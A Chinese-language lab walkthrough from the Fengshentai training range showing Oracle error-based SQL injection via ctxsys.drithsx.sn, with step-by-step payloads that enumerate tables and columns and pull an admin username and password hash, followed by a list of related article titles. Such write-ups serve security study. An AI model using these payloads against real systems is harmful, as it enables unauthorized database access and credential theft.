封神臺Oracle注入- 報錯注入
一、原理
跟MySQL的注入一樣,都是程式原本要執行的sql語句拼接了使用者輸入的語句,導致出現了不該出現的資料。不同的資料庫使用的函式不同,Oracle使用的是ctxsys.drithsx.sn函式實現報錯注入。
二、作業
Oracle注入- 報錯注入 (Rank: 5)
-
在id=1 後新增and 1=1 發現頁面可以正常顯示,推斷此處可能存在注入點
-
通過報錯注入函式查詢當前表名:and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)),可得到表名有NEWS
-
通過報錯注入函式查詢第二張表名:and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>’NEWS’,得到第二個表名為ADMIN
-
通過and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=’ADMIN’ and rownum=1)) 得到第一個欄位名:ID
-
通過and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=’ADMIN’ and rownum=1 and column_name<>’ID’))得到第二個欄位名:UNAME
-
通過函式and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=’ADMIN’ and rownum=1 and column_name<>’ID’ and column_name<>’UNAME’))得到第三個欄位名:UPASS
-
通過函式and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1))得到UNAME表中的第一條資料
-
通過函式and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1 and ID=2))得到UNAME表中的第二條資料:NF
-
通過函式and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where rownum=1 and ID=2))
得到NF的密碼:2a61f8bcfe7535eadcfa69eb4406ceb9
提交密碼,正確
相關文章
- 封神臺MYSQL 注入 - Dns注入MySqlDNS
- 【封神臺】資料庫注入 wp資料庫
- 封神臺 SQL隱碼攻擊 靶場 (貓舍)手動注入SQL
- 基於報錯的注入模式模式
- 使用exp進行SQL報錯注入SQL
- Mysql報錯注入原理分析(count()、rand()、group by)MySql
- 實驗吧--加了料的報錯注入
- Spring注入:配置注入(set注入和構造器注入)與註解注入Spring
- 實戰記錄之SQL server報錯手工注入SQLServer
- SQL 注入:聯合注入SQL
- 程式注入之DLL注入
- sql注入之union注入SQL
- 網頁外部注入vConsole除錯網頁除錯
- sql注入之堆疊注入及waf繞過注入SQL
- JNDI注入和JNDI注入Bypass
- win10最強注入工具,遠端執行緒注入、訊息鉤子注入、輸入法注入、EIP注入、登錄檔注入、APC注入(APC好像不能用)Win10執行緒
- vue注入元件時報錯:did you register the component correctly? For recursive components......Vue元件
- 基於sqli-labs Less-5 sql報錯注入詳解SQL
- Joomla 物件注入漏洞分析報告OOM物件
- sql注入之型別及提交注入SQL型別
- 專案啟動報錯怎麼辦?看看你Spring自動注入用對了嘛?@Autowired XxxService注入問題解決Spring
- sql注入SQL
- SQL 注入SQL
- dns注入DNS
- union注入
- quine注入UI
- XSS注入
- IOC注入技術之編譯時注入編譯
- Spring set注入和構造注入的區別Spring
- Spring配置注入Spring
- sql注入1SQL
- sql注入2SQL
- 自動注入
- MySql注入科普MySql
- sql注入修改SQL
- mysql防注入MySql
- 防止sql注入SQL
- 程式碼注入